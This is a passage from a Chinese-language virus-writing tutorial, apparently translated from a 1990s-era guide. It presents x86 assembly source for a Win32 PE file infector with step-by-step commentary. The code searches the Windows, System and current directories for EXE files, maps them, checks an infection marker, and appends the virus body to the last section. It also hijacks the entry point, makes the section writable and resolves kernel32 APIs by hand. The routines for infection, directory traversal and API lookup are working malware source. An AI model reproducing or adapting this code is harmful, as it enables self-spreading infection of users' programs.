call [ebp+_GetSystemDirectoryA] ; 获取 windows/system 目录
add edi,7Fh ; 指向第三个目录
push edi ; 把缓存的地址压栈
push 7Fh ; 把缓存的大小压栈
call [ebp+_GetCurrentDirectoryA] ; 获取当前目录
ret
;---------------------------------------------------------------------------
; 这是一个简单的用来获取病毒将要搜索文件来感染的所有目录，并按这个特定顺序。
; 因为一个目录的最大长度是7F字节，我已经保存到堆栈(看下面)的三连续变量中，
; 因此避免无用的代码占更多的字节，和随病毒传播无用的数据。请注意在最后一个
; API中没有任何错误，因为在那个API中，顺序改变了。让我们对那个API做一个更
; 深的分析：
;
; GetWindowsDirectory函数得到Windows的目录。Windows目率包含了一些基于Windows
; 的应用程序，初始化文件，和帮助文件。
;
; UINT GetWindowsDirectory(
; LPTSTR lpBuffer, // 保存Windows目录的缓存地址
; UINT uSize // 目录缓存的大小
; );
;
; 参数
; ====
; ?lpBuffer: 指向接受NULL结尾的包含路径的字符串的缓存。这个路径不是以一个
; 反斜线符号结束的，除非Windows目录是根目录。例如，如果Windows目录是在C
; 盘上的以WINDOWS命名的，那么这个函数返回的Windows目录是C:/WINDOWS.如果
; Windows是安装在C盘的根目录上的，返回的路径是C:/。
; ?uSize: 指定被lpBuffer参数指向的缓存的字符最大个数。这个值应该设置成至少
; 为MAS_PATH来为路径指定足够的空间。
;
; 返回值
; ======
;
; ?如果函数成功执行了，返回值是复制到缓冲区的字符个数，不包括NULL结尾符。
; ?如果长度比缓冲区的大小还要大，返回值将是缓冲区所需要保存路径所需要的
; 大小。
;
; ---
;
; GetSystemDirectory 函数得到的是Windows系统目录，系统目录包括诸如Windows库
; 驱动和字体文件。
;
; UINT GetSystemDirectory(
; LPTSTR lpBuffer, // 保存系统目录的缓冲区
; UINT uSize // 目录缓冲区的大小
; );
;
;
; 参数
; ====
;
; ?lpBuffer: 指向接受以NULL结尾的包含路径的字符串的缓冲区。这个路径不是以一个
; 反斜线符号结尾的，除非系统目录是根目录。例如，如果系统目录是在C盘上的名为
; WINDOWS/SYSTEM，那么这个函数返回的系统目录路径为C:/WINDOWS/SYSTEM。
;
; ?uSize: 指定缓冲区的最大字符个数。这个值应该被设置成最小MAX_PATH。
;
; 返回值
; ======
;
; ?如果函数成功了，返回值是复制到缓冲区中的字符个数，不包括NULL结尾字符。
; 如果长度大于缓冲区的大小，返回值是保存路径的缓冲区所需要的大小。
;
; ---
;
; GetCurrentDirectory 函数得到的是当前进程的当前目录。
; current process.
;
; DWORD GetCurrentDirectory(
; DWORD nBufferLength, // 目录缓冲区的字符个数
; LPTSTR lpBuffer // 保存当前目录的缓冲区地址
; );
;
; 参数
; ====
;
; ?nBufferLength: 保存当前目录字符串的缓冲区的字符个数。缓冲区的长度必须包括
; NULL字符在内。
;
; ?lpBuffer: 指向保存当前目录字符串缓冲区的字符串。这个以NULL结尾的字符串保存
; 的是当前目录的绝对路径。
;
; 返回值
; ======
;
; ?如果函数成功执行了，返回的值是写到缓冲区的字符个数，不包括NULL字符。
;---------------------------------------------------------------------------
InfectItAll:
lea edi,[ebp+directories] ; 指向第一个目录
mov byte ptr [ebp+mirrormirror],03h ; 3 个目录
requiem:
push edi ; 设置由 EDI指向的目录
call [ebp+_SetCurrentDirectoryA]
push edi ; 保存EDI
call Infect ; 感染选定的目录的所有文件
pop edi ; 恢复EDI
add edi,7Fh ; 另外一个目录
dec byte ptr [ebp+mirrormirror] ; 计数器－1
jnz requiem ; 是最后一个吗？不是，再来
ret
;---------------------------------------------------------------------------
; 我们开始所做的是使EDI指向数组中的第一个目录，然后我们设置我们想要感染的目录
; 个数(dirs2inf=3)。好了，然后我们开始主循环。它包括如下:我们改变目录到当前
; 选定的目录下面，我们感染所有那个目录的所有想要感染的文件，然后我们得到了另外
; 一个目录知道我们完成了我们想要感染的3个目录。简单，啊？:)该看看SetCurrentDirectory
; 这个API函数的特征了:
;
; SetCurrentDirectory 为当前进程改变当前目录。
;
; BOOL SetCurrentDirectory(
; LPCTSTR lpPathName // 当前新目录的名字地址
; );
;
; 参数
; ====
;
; ?lpPathName: 指向一个以NULL字符结尾的字符串，这个字符串保存当前新目录的
; 名字。这个参数可以是一个相对路径，还可以是绝对路径。在每种情况下，都是
; 计算并保存的当前目录的绝对路径。
;
; 返回值
; ======
;
; ?如果函数成功执行，返回的是非0值。
;---------------------------------------------------------------------------
Infect: and dword ptr [ebp+infections],00000000h ; reset countah
lea eax,[ebp+offset WIN32_FIND_DATA] ; Find's shit structure
push eax ; Push it
lea eax,[ebp+offset EXE_MASK] ; Mask to search for
push eax ; Push it
call [ebp+_FindFirstFileA] ; Get first matching file
inc eax ; CMP EAX,0FFFFFFFFh
jz FailInfect ; JZ FAILINFECT
dec eax
mov dword ptr [ebp+SearchHandle],eax ; Save the Search Handle
;---------------------------------------------------------------------------
; 这是感染例程的第一部分。第一行仅仅是为了用一个更为优化的方法(此例中的AND
; 比mov更小)清除感染计数器(即设置成0)。在感染计数器已经重置之后，该是搜索
; 文件来感染的时候了;)OK，在DOS中，我们有INT 21h的4Eh/4Fh服务...现在在Win32
; 中，我们有两个等价的API函数:FindFirstFile 和 FindNextFile。现在我们想要
; 搜索目录中的第一个文件。所有的Win32中的寻找文件的函数都有一个结构(你还记得
; DTA吗?)叫做WIN32_FIND_DATA(许多时候简称WFD)。让我们看看这个结构的域：
;
; MAX_PATH equ 260 <-- 路径的最大大小
;
; FILETIME STRUC <-- 处理时间的结构，在很多Win32
; FT_dwLowDateTime dd ? 结构中都有
; FT_dwHighDateTime dd ?
; FILETIME ENDS
;
; WIN32_FIND_DATA STRUC
; WFD_dwFileAttributes dd ? <-- 包含了文件的属性
; WFD_ftCreationTime FILETIME ? <-- 文件创建的时间
; WFD_ftLastAccessTime FILETIME ? <-- 文件的最后访问时间
; WFD_ftLastWriteTime FILETIME ? <-- 文件的最后修改时间
; WFD_nFileSizeHigh dd ? <-- 文件大小的 高位
; WFD_nFileSizeLow dd ? < -- 文件大小的低位
; WFD_dwReserved0 dd ? <-- 保留
; WFD_dwReserved1 dd ? <-- 保留
; WFD_szFileName db MAX_PATH dup (?) <-- ASCII形式的文件 名
; WFD_szAlternateFileName db 13 dup (?) <-- 除去路径的文件名
; db 03 dup (?) <-- Padding
; WIN32_FIND_DATA ENDS
;
; ?dwFileAttributes: 决定找到的文件的属性。这个成员可以为一个或更多的值[在
; 这里因为空间关系就不列举了:你可以在29A的INC文件(29A#2)和以前的文档中找
; 到]
;
; ?ftCreationTime: 包含了一个FILETIME结构包含了文件创建的时间。FindFirstFile
; 和FindNextFile以Coordinated Universal Time (UTC) 格式报告文件的时间。如果
; 文件系统包含的文件不支持这个时间成员的话，这两个函数会把FILETIME的成员设
; 置成0。你可以使用FileTimeToLocalFileTime函数来把UTC转化成本机时间，然后
; 使用FileTimeToSystemTime函数把本机时间转化成一个SYSTEMTIME结构的包含月，
; 日，年，星期，小时，分，秒，和毫秒。
;
; ?ftLastAccessTime: 保存了一个FILETIME结构，包含了文件最后访问的时间。这个
; 时间是UTC形式;如果文件系统不支持这个时间成员，FILETIME的成员就是0。
;
; ?ftLastWriteTime: 保存了一个FILETIME结构包含了文件的最后修改时间。时间是
; UTC格式的；如果文件系统不支持这个时间成员，FILETIME的成员就是0。
;
; ?nFileSizeHigh: 保存了DWORD类型的文件大小的高位。如果文件大小比MAXDWORD大
; 的话，这个值为0。文件的大小等于(nFileSizeHigh * MAXDWORD)+ nFileSizeLow。
;
; ?nFileSizeLow: 保存了DWORD类型的文件大小的低位。
;
; ?dwReserved0: 保留为将来使用。
;
; ?dwReserved1: 保留为将来使用。
;
; ?cFileName: 一个NULL字符结尾的字符串是文件的名字。
;
; ?cAlternateFileName: 一个以NULL结尾的字符串保存的是文件的可选名。这个名字
; 是古典的8.3(filename.ext)文件名格式。
;
; 当我们知道了WFD结构的域之后，我们可以更深一层地去"寻找"Windows地函数。首先
; 让我们来看看FindFirstFileA这个API地描述：
;
; FindFirstFile 函数在一个目录中搜索一个和指定地文件名符合的文件。FindFirstFileA
; 还检查子目录名。
;
; HANDLE FindFirstFile(
; LPCTSTR lpFileName, // 指向要搜索的文件名
; LPWIN32_FIND_DATA lpFindFileData // 指向返回信息
; );
;
; 参数
; ====
;
; ?lpFileName: A. Windows 95: 指向一个以NULL结尾的指定一个合法的目录或路径和
; 文件名字符串，它可以包含通配符(*和?)。这个字符串不能超过
; MAX_PATH个数。
;
; B. Windows NT: 指向一个以NULL结尾的指定一个合法的目录或路径和
; 文件名字符串，它不能包含通配符(*和?)。
;
; 路径有一个缺省的字符大小限制MAX_PATH。这个限制取决于FindFirst函数怎么分析路径。
; 一个应用程序可以超过这个限制并可以通过调用宽(W)版本的FindFirstFile函数并预先考虑
; "//?/"来传给超过MAX_PATH的路径。"//?/"告诉了函数关闭路径解析；它使得路径长于MAX_PATH
; 可以被FindFirstFileW函数使用。这个还可以对UNC名有效。"//?/"被作为路径的一部分
; 忽略掉了。例如，"//?/C:/myworld/private"被看成"C:/myworld/private", 而
; "//?/UNC/bill_g_1/hotstuff/coolapps"被看成"//bill_g_1/hotstuff/coolapps"。
;
; ?lpFindFileData: 指向于WIN32_FIND_DATA 结构来接受关于找到的文件或目录。这个
; 结构可以在随后的调用FindNextFile 或 FindClose 函数中引用文件或子目录。
;
; 返回值
; =====
;
; ?如果函数成功调用了，返回值是一个搜索句柄，在随后的调用FindNextFile 或 FindClose
; 时用到。
;
; ?如果函数失败了，返回值是INVALID_HANDLE_VALUE。为了获得详细的错误信息，调用
; 函数。
;
; 所以，现在你知道了FindFirstFile函数的所有参数了。而且，现在你知道了下面代码块
; 的最后一行了:)
;---------------------------------------------------------------------------
__1: push dword ptr [ebp +OldEIP] ; 保存 OldEIP 和 ModBase,
push dword ptr [ebp+ModBase] ; 感染时改变
call Infection ; 感染找到的文件
pop dword ptr [ebp+ModBase] ; 恢复它们
pop dword ptr [ebp+OldEIP]
inc byte ptr [ebp+infections] ; 增加计数器
cmp byte ptr [ebp+infections],05h ; 超过限制啦?
jz FailInfect ; 该死...
;---------------------------------------------------------------------------
; 我们所做的第一件事是保存了一些必须的变量的内容，它们在后面我们返回控制权给主体的
; 时候用到，但是这些变量在感染文件的时候改变了是很痛苦的。我们调用感染例程：它仅
; 需要WFD信息，所以我们不必给它传参数了。在感染完相关的文件后，我们把值再改回来。
; 在做完那个以后，我们增加感染计数器，并检查我们是否已经感染了5个文件了(这个病毒
; 的感染限制)。如果我们已经做完了那些事情，病毒从感染函数中退出。
;---------------------------------------------------------------------------
__2: lea edi,[ebp+WFD_szFileName] ; 指向文件名的指针
mov ecx,MAX_PATH ; ECX = 260
xor al,al ; AL = 00
rep stosb ; 清除旧的文件名变量
lea eax,[ebp+offset WIN32_FIND_DATA] ; 指向 WFD的指针
push eax ; 把它压栈
push dword ptr [ebp+SearchHandle] ; Push Search Handle
call [ebp +_FindNextFileA] ; 寻找另外一个文件
or eax,eax ; 失败?
jnz __1 ; 没有, 感染另外一个
CloseSearchHandle:
push dword ptr [ebp+SearchHandle] ; Push search handle
call [ebp +_FindClose] ; 关闭它
FailInfect:
ret
;---------------------------------------------------------------------------
; 代码块的开始部分做一个简单的事情：它抹掉在WFD结构(校验文件名数据)里的数据。
; 这样做是为了在寻找另外一个文件的时候避免出问题。我们下一步要做的是调用
; FindNextFile这个API函数。下面是这个API的描述:
;
; FindNextFile 函数继续以前调用的FindFirstFile函数来继续搜索一个文件 。
;
; BOOL FindNextFile(
; HANDLE hFindFile, // 要搜索的句柄
; LPWIN32_FIND_DATA lpFindFileData // 指向保存找到文件的数据的结构
; );
;
; 参数
; ====
;
; ?hFindFile: 识别由先前的调用FindFirstFile函数返回的搜索句柄。
;
; ?lpFindFileData: 指向一个WIN32_FIND_DATA 结构，用来接受关于找到的文件或子目录
; 的信息。这个结构可以在随后的调用FindNextFile时引用来寻找文件或目录。
;
; 返回值
; ======
;
; ?如果函数调用成功，返回值是非零值。
;
; ?如果函数调用成功，返回值是0。为了获得详细的错误信息，调用GetLastError。
;
; ?如果没有匹配的文件，GetLastError函数会返回ERROR_NO_MORE_FILES。
;
; 如果FindNextFile返回错误，或者如果病毒已经到达了可能感染的最大文件数，我们到了
; 这个例程的最后一块。它由通过FindClose这个API来关闭搜索句柄组成。照常，下面是
; 这个API的描述:
;
; FindClose函数关闭指定的搜索句柄。FindFirstFile 和 FindNextFile 函数使用这个
; 句柄来用匹配给定的名字来定位文件。
;
; BOOL FindClose(
; HANDLE hFindFile // 文件搜索句柄
; );
;
;
; 参数
; ====
;
; ?hFindFile: 识别搜索句柄。这个句柄必须是由FindFirstFile函数已经打开的。
;
; 返回值
; ======
;
; ?如果函数调用成功，返回值是非0值。
;
; ?如果函数调用失败，返回值是0。为了获得详细的错误信息，调用GetLastError
; ;
;---------------------------------------------------------------------------
Infection:
lea esi,[ebp+WFD_szFileName] ; 获得要感染的文件名
push 80h
push esi
call [ebp +_SetFileAttributesA] ; 清除 它的属性
call OpenFile ; 打开它
inc eax ; 如果 EAX = -1, 就有一个错误
jz CantOpen
dec eax
mov dword ptr [ebp+FileHandle],eax
;---------------------------------------------------------------------------
; 我们首先做的是清除文件的属性，并把它们设置为"正常文件"。这是通过SetFileAttributes
; 这个API来实现的。下面给出这个API的简要介绍：
;
; SetFileAttributes 函数 设置一个文件的属性。
;
; BOOL SetFileAttributes(
; LPCTSTR lpFileName, // 文件名的地址
; DWORD dwFileAttributes // 要设置的属性的地址
; );
;
; 参数
; ====
;
; ?lpFileName: 指向一个保存要修改属性的文件的文件名字符串。
;
; ?dwFileAttributes: 指定要设置的文件的属性。这个参数可以为下面的值的组合。然而，
; 所有的其它的值超越FILE_ATTRIBUTE_NORMAL
;
; 返回值
; ======
;
; ?如果函数调用成功，返回值是非0值。
;
; ?如果函数调用失败，返回值是0。为了获得详细的错误信息，调用GetLastError
;
; 在我们设置了新的文件属性之后，我们打开了文件，而且，如果没有任何错误发生，它把
; 句柄保存到它的变量中。
;---------------------------------------------------------------------------
mov ecx,dword ptr [ebp+WFD_nFileSizeLow] ; 首先我们用它的正确大小创建 映射
call CreateMap
or eax,eax
jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call MapFile ; 映射它
or eax,eax
jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
;---------------------------------------------------------------------------
; 首先我们给ECX赋我们打算要映射的文件的大小，然后我们调用我们的函数来映射它。
; 我们检查可能的错误，如果没有任何错误，我们继续，否则，我们关闭文件。然后我们
; 保存映射句柄，并准备最终利用MapFile函数来映射它。还象以前那样，我们检查错误，
; 决定相应的处理。如果所有的都做好了，我们保存映射起作用的地址。
;---------------------------------------------------------------------------
mov esi,[eax+3Ch]
add esi,eax
cmp dword ptr [esi],"EP" ; 它是PE吗?
jnz NoInfect
cmp dword ptr [esi+4Ch],"CTZA" ; 它被感染了吗?
jz NoInfect
push dword ptr [esi+3Ch]
push dword ptr [ebp+MapAddress] ; 关闭所有
call [ebp+_UnmapViewOfFile]
push dword ptr [ebp+MapHandle]
call [ebp+_CloseHandle]
pop ecx
;---------------------------------------------------------------------------
; 当我们在EAX中得到了开始映射的地址，我们刷新指向PE头(MapAddress+3Ch)的指针，
; 然后我们规范化它，所以在ESI中我们将得到指向PE头的指针。总之我们检查它是否OK，
; 所以我们检查PE签名。在那个检查之后，我们检查文件是否在以前感染过了(我们在PE的
; 偏移地址4Ch处保存了一个标记，程序从来不会用的)，如果它没有，我们继续感染过程。
; 我们保存他们，在堆栈中 ，文件对齐(看看PE头那一章)。而且在那之后，我们解除映射，
; 并关闭映射句柄。最终我们从堆栈恢复文件对齐(File Alignment)，把它存在ECX寄存器中。
;---------------------------------------------------------------------------
mov eax,dword ptr [ebp+WFD_nFileSizeLow] ; 再次映射
add eax,virus_size
call Align
xchg ecx,eax
call CreateMap
or eax,eax
jz CloseFile
mov dword ptr [ebp+MapHandle],eax
mov ecx,dword ptr [ebp+NewSize]
call MapFile
or eax,eax
jz UnMapFile
mov dword ptr [ebp+MapAddress],eax
mov esi,[eax+3Ch]
add esi,eax
;---------------------------------------------------------------------------
; 当我们在ECX(准备'Align'函数，因为它需要在ECX中的对齐因子)中得到了文件对齐，我们
; 给EAX赋打开的文件大小加上病毒大小(EAX是要对齐的数量)，然后我们调用'Align'函数，
; 它在EAX中返回给我们对齐的数字。例如，如果对齐(Alignment)是200h，而且文件大小+
; 病毒大小是12345h，'Align'函数将会返回给我们的数字将会是12400h。然后我们把对齐数字
; 保存到ECX中。我们再次调用CreateMap函数，但是现在我们用对齐后的大小来映射文件。
; 在这之后，我们再次使ESI指向PE头。
;---------------------------------------------------------------------------
mov edi,esi ; EDI = ESI = Ptr to PE header
movzx eax,word ptr [edi+06h] ; AX = n?of sections
dec eax ; AX--
imul eax,eax,28h ; EAX = AX*28
add esi,eax ; Normalize
add esi,78h ; Ptr to dir table
mov edx,[edi+74h] ; EDX = n?of dir entries
shl edx,3 ; EDX = EDX*8
add esi,edx ; ESI = Ptr to last section
;---------------------------------------------------------------------------
; 首先我们也使EDI指向PE头。然后，我们给AX赋节的个数(一个WORD类型的数)，并使它
; 减1。然后我们把AX(n,节数-1)乘以28h(节头的大小)，把它再加上PE头的偏移地址。使ESI
; 指向目录表，在EDX中得到目录入口点的数目。然后我们把它乘以8，最后把结果(在EDX中)
; 加到ESI，所以ESI将指到最后一节。
;---------------------------------------------------------------------------
mov eax,[edi+28h] ; 获得 EP
mov dword ptr [ebp+OldEIP],eax ; 保存它
mov eax,[edi+34h] ; 获得 imagebase
mov dword ptr [ebp+ModBase],eax ; 保存它
mov edx,[esi+10h] ; EDX = SizeOfRawData
mov ebx,edx ; EBX = EDX
add edx,[esi+14h] ; EDX = EDX+PointerToRawData
push edx ; 保存 EDX
mov eax,ebx ; EAX = EBX
add eax,[esi+0Ch] ; EAX = EAX+VA 地址
; EAX = 新 EIP
mov [edi+28h],eax ; 改变新的 EIP
mov dword ptr [ebp+NewEIP],eax ; 还保存它
;---------------------------------------------------------------------------
; 首先我们给EAX赋我们正在感染的文件的EIP值，为了后面把旧EIP赋给一个变量，将会在
; 病毒(你将会看到)的开始用到。我们对基址同样这么做。然后，我们给EDX赋最后一节的
; 的SizeOfRawData赋给EDX，再赋给EDX，然后，我们把EDX加上PointerToRawData(EDX
; 将在复制病毒的时候用到所以我们把它保存到堆栈中)。在这之后，我们给EAX赋SizeOfRawData，
; 把它加上VA地址 :所以我们在EAX中得到的是主体的新EIP。所以我们把它保存在它的PE头
; 的域中，并保存在另外一个变量中(看看病毒的开始处)。
;---------------------------------------------------------------------------
mov eax,[esi+10h] ; EAX = 新的 SizeOfRawData
add eax,virus_size ; EAX = EAX+VirusSize
mov ecx,[edi+3Ch] ; ECX = FileAlignment(文件对齐)
call Align ; 对齐!
mov [esi+10h],eax ; 新的 SizeOfRawData
mov [esi+08h], eax ; 新的 VirtualSize
pop edx ; EDX = 指向节尾的原始指针
mov eax,[esi+10h] ; EAX = 新的 SizeOfRawData
add eax,[esi+0Ch] ; EAX = EAX+VirtualAddress
mov [edi+50h],eax ; EAX = 新的 SizeOfImage
or dword ptr [esi+24h], 0A0000020h ; 设置新的节标志
;---------------------------------------------------------------------------
; Ok, 我们做的第一件事是把最后一节的SizeOfRawData装载到EAX中，然后把病毒的大小
; 加上它。在 ECX中，我们装载FileAlignment，我们调用'Align'函数，所以在EAX中，
; 我们将得到对齐后的SizeOfRawData+VirusSize。
; 让我们看看一个小例子:
;
; SizeOfRawData - 1234h
; VirusSize - 400h
; FileAlignment - 200h
;
; 所以，SizeOfRawData + VirusSize 将为1634，在对那个值对齐之后将为1800h。简单，哈?
; 所以我们把对齐后的值设为新的SizeOfRawData并作为新的VirtualSize，这样做之后我们
; 将没有问题了，我们计算新的SizeOfImage，也就是说，新的SizeOfRawData和VirtualAddress
; 的和。在计算完这个之后，我们把它保存到PE头的SizeOfImage域中(偏移50h处)。然后，
; 我们按如下设置节的属性:
;
; 00000020h - 节包含代码
; 40000000h - 节可读
; 80000000h - 节可写
;
; 所以，如果我们要应用这三个属性只要把那3个值或（OR）即可，结果将是A0000020h。
; 所以，我们还要把他和节的当前属性值进行或，这样我们不必删除旧的：只要加上它们。
;---------------------------------------------------------------------------
mov dword ptr [edi+4Ch],"CTZA" ; 设置感染标志
lea esi,[ebp+aztec] ; ESI = 指向 virus_start 的指针
xchg edi,edx ; EDI = 指 向最后一节结尾的指针
;
add edi,dword ptr [ebp+MapAddress] ; EDI = 规范化后指针
mov ecx,virus_size ; ECX = 要复制的大小
rep movsb ; 做它!
jmp UnMapFile ; 解除映射, 关闭, 等等.
;---------------------------------------------------------------------------
; 为了避免重复感染文件我们现在所做的首先是在PE头没有用过地方设置感染的标志(偏移
; 4Ch是保留的)。然后，在ESI中放一个指向病毒开始的指针。在我们把EDX的值赋给ESI
; (记住：EDX=旧的 SizeOfRawData+PointerToRawData)之后，那就是我们放置病毒代码
; 的RVA。正如我已经说过了，它是一个RVA，这一点你必须知道;)RVA必须转换成VA，
; 这是通过把RVA加上相对值实现的... 所以，它和开始映射文件的地址(如果你还记得，它是
; 由MapViewOfFile这个API返回的)相关。所以，最后，在EDI中我们得到的是写病毒代码的
; VA。在ECX中，我们装入病毒的大小，并复制。所有都做好了!:)现在我们关闭所有...
;---------------------------------------------------------------------------
NoInfect:
dec byte ptr [ebp+infections]
mov ecx,dword ptr [ebp+WFD_nFileSizeLow]
call TruncFile
;---------------------------------------------------------------------------
; 在感染的时候，如果有什么错误发生，我们就到了这个地方。我们把感染计数器减1，把文件
; 截去感染之前的大小。我希望我们的病毒不会到达这个地方:)
;---------------------------------------------------------------------------
UnMapFile:
push dword ptr [ebp+MapAddress] ; 关闭映射 的地址
call [ebp+_UnmapViewOfFile]
CloseMap:
push dword ptr [ebp+MapHandle] ; 关闭映射
call [ebp+_CloseHandle]
CloseFile:
push dword ptr [ebp+FileHandle] ; 关闭文件
call [ebp+_CloseHandle]
CantOpen:
push dword ptr [ebp+WFD_dwFileAttributes]
lea eax,[ebp+WFD_szFileName] ; 设置原先文件的的属性
push eax
call [ebp+_SetFileAttributesA]
ret
;---------------------------------------------------------------------------
; 这块代码集中于关闭在感染的时候打开的所有东西：映射地址，映射自身，文件，随后把
; 原先的属性设置回去。
; 让我们看看这里用到的API：
;
; UnmapViewOfFile 函数从调用进程的地址空间中解除文件的映射。
;
; BOOL UnmapViewOfFile(
; LPCVOID lpBaseAddress // 开始映射的地址
; );
;
; 参数
; ====
;
; ?lpBaseAddress: 指向要解除映射的文件的基址。这个值必须是由先前调用MapViewOfFile
; 或MapViewOfFileEx函数返回的值。
;
; 返回值
; =====
;
; ?如果函数调用成功，返回值是非0值，而且所有指定范围内的页将会标志"lazily"。
;
; ?如果函数调用失败，返回值是0。为了获得详细的错误信息，调用GetLastError函数。
;
; ---
;
; CloseHandle 函数关闭一个打开对象的句柄。
;
; BOOL CloseHandle(
; HANDLE hObject // 要关闭对象的句柄
; );
;
; 参数
; ====
;
; ?hObject: 指一个打开对象的句柄。
;
; 返回值
; ======
;
; ?如果函数调用成功，返回值是非0值。
; ?如果函数调用失败，返回值是0。想要获得详细的错误信息，调用GetLastError。
;
;---------------------------------------------------------------------------
GetK32 proc
_@1: cmp word ptr [esi],"ZM"
jz WeGotK32
_@2: sub esi,10000h
loop _@1
WeFailed:
mov ecx,cs
xor cl,cl
jecxz WeAreInWNT
mov esi,kernel_
jmp WeGotK32
WeAreInWNT:
mov esi,kernel_wNT
WeGotK32:
xchg eax,esi
ret
GetK32 endp
GetAPIs proc
@@1: push esi
push edi
call GetAPI
pop edi
pop esi
stosd
xchg edi,esi
xor al,al
@@2: scasb
jnz @@2
xchg edi,esi
@@3: cmp byte ptr [esi],0BBh
jnz @@1
ret
GetAPIs endp
GetAPI proc
mov edx,esi
mov edi,esi
xor al,al
@_1: scasb
jnz @_1
sub edi,esi ; EDI = API 的名字大小
mov ecx,edi
xor eax,eax
mov esi,3Ch
add esi,[ebp+kernel]
lodsw
add eax,[ebp+kernel]
mov esi,[eax+78h]
add esi,1Ch
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA]
lodsd
add eax,[ebp+kernel]
stosd
lodsd
add eax,[ebp+kernel]
push eax ; mov [NameTableVA],eax =)
stosd
lodsd
add eax,[ebp+kernel]
stosd
pop esi
xor ebx,ebx
@_3: lodsd
push esi
add eax,[ebp+kernel]
mov esi,eax
mov edi,edx
push ecx
cld
rep cmpsb
pop ecx
jz @_4
pop esi
inc ebx
jmp @_3
@_4:
pop esi
xchg eax,ebx
shl eax,1
add eax,dword ptr [ebp+OrdinalTableVA]
xor esi,esi
xchg eax,esi
lodsw
shl eax,2
add eax,dword ptr [ebp+AddressTableVA]
mov esi,eax
lodsd
add eax,[ebp+kernel]
ret
GetAPI endp
;---------------------------------------------------------------------------
; 上面所有的代码以前已经见过了，这里是有了一点点优化，所以你可以看看你自己用其它
; 方法该怎么做。
;---------------------------------------------------------------------------
; 输入:
; EAX - 对齐的值
; ECX - 对齐因子
; 输出:
; EAX - 对齐值
Align proc
push edx
xor edx,edx
push eax
div ecx
pop eax
sub ecx,edx
add eax,ecx
pop edx
ret
Align endp
;---------------------------------------------------------------------------
; 这个函数执行在PE感染中非常重要的一件事情：把数字和指定的因子对齐。如果你不是
; 一个d0rk，你就不必问我它是怎么工作的了。( Fuck,你到底学了没有？)
;---------------------------------------------------------------------------
; 输入:
; ECX - 要截的文件
; 输出:
; 无.
TruncFile proc
xor eax,eax
push eax
push eax
push ecx
push dword ptr [ebp+FileHandle]
call [ebp+_SetFilePointer]
push dword ptr [ebp+FileHandle]
call [ebp+_SetEndOfFile]
ret
TruncFile endp
;---------------------------------------------------------------------------
; SetFilePointer 使文件指针指向一个打开的文件。
;
; DWORD SetFilePointer(
; HANDLE hFile, // 文件的句柄
; LONG lDistanceToMove, // 需要移动文件指针的字节数
; PLONG lpDistanceToMoveHigh, // 要移动距离的高位字
;
; DWORD dwMoveMethod // 怎么移
; );
;
; 参数
; ====
;
; ?hFile: 指需要移动移动文件指针的文件。这个文件句柄必须是用GENERIC_READ或GENERIC_WRITE
; 方式创建的。
;
; ?lDistanceToMove: 指要移动文件指针的字节数。一个正值表示指针向前移动，而一个负
; 值表示文件指针向后移动。
;
; ?lpDistanceToMoveHigh: 指向64位距离的高位字。如果这个参数的值是NULL,SetFilePointer
; 只能操作最大为2^32 - 2的文件。如果这个参数被指定了，最大文件大小是2^64 - 2。
; 这个参数还获取新文件指针的高位值。
;
; ?dwMoveMethod: 指示文件指针移动的开始的地方。这个参数可以是下面的一个值
;
; 值 方式
;
; + FILE_BEGIN - 开始点是0或文件开始。如果指定了FILE_BEGIN，DistanceToMove
; 被理解为新文件指针的位置。
; + FILE_CURRENT - 当前文件指针的值是开始点。
; + FILE_END - 当前文件尾是开始点。
;
; 返回值
; ======
;
; ?如果SetFilePointer函数调用成功，返回值是双字新文件指针的低位值，而且如果
; lpDistanceToMoveHigh不是NULL，这个函数把新文件指针的双字的高位赋给由那个参
; 数指向的长整型。
; ?如果函数调用失败而且lpDistanceToMoveHigh是NULL，返回值是0xFFFFFFFF。想要
; 获得详细的错误信息，调用GetLastError函数。
; ?如果函数失败，而且lpDistanceToMoveHigh是非-NULL的，返回值是0xFFFFFFFF，而且
; GetLastError将返回一个值而不NO_ERROR。
;
; ---
;
; SetEndOfFile 函数把指定文件的end-of-file (EOF)位置移到文件指针的当前位置。
;
; BOOL SetEndOfFile(
; HANDLE hFile // 要设置EOF的文件的句柄
; );
;
; 参数
; ====
;
; ?hFile: 指示要移动EOF位置的文件。这个句柄必须是以GENERIC_WRITE访问文件方式
; 创建的。
;
; 返回
; ====
;
; ?如果函数调用成功，返回值是非0值
; ?如果函数调用失败，返回值是0。想要知道详细的错误信息，调用GetLastError函数。
; ;
;---------------------------------------------------------------------------
; 输入:
; ESI - 指向要打开的文件的名字
; 输出:
; EAX - 如果成功是文件的句柄。
OpenFile proc
xor eax,eax
push eax
push eax
push 00000003h
push eax
inc eax
push eax
push 80000000h or 40000000h
push esi
call [ebp+_CreateFileA]
ret
OpenFile endp
;---------------------------------------------------------------------------
; CreateFile 函数创建或打开下面的对象，并返回一个可以访问这个对象的句柄：
;
; + 文件 (我们只对这个感兴趣)
; + pipes
; + mailslots
; + communications resources
; + disk devices (Windows NT only)
; + consoles
; + directories (open only)
;
; HANDLE CreateFile(
; LPCTSTR lpFileName, // 指向文件的名字
; DWORD dwDesiredAccess, // 访问 (读-写) 模式
; DWORD dwShareMode, // 共享模式
; LPSECURITY_ATTRIBUTES lpSecurityAttributes, // 指向安全属性
; DWORD dwCreationDistribution, // 怎么创建
; DWORD dwFlagsAndAttributes, // 文件属性
; HANDLE hTemplateFile // 要复制的属性的文件的句柄
; );
;
; 参数
; ====
;
; ?lpFileName: 指向一个以NULL结尾的字符串，这个字符串指定要创建或打开的对象(文件,
; 管道, 邮槽, 通信资源, 磁盘设备, 控制台, 或目录)的名字。
; 如果*lpFileName 是一个路径，就有一个缺省的路径字符个数的MAX_PATH个数限制，
; 这个限制和CreateFile函数怎么解析路径有关。
;
; ?dwDesiredAccess: 指访问的对象的类型。一个应用程序可以获得读访问，写访问，读-写
; 访问，或者设备查询访问。
;
; ?dwShareMode: 设置一些标志来指定对象是怎么共享的。如果dwShareMode是0，这个对象
; 就不能关系。随后的对这个对象的打开操作也会失败，直到句柄被关闭。
;
; ?lpSecurityAttributes: 指向一个 SECURITY_ATTRIBUTES 结构，来确定返回的句柄是
; 否能从子进程继承。如果lpSecurityAttributes是NULL，句柄就不能继承。
;
; ?dwCreationDistribution: 指对文件采取已知的什么行动，和未知的行动。
;
; ?dwFlagsAndAttributes: 指文件的属性和标志。
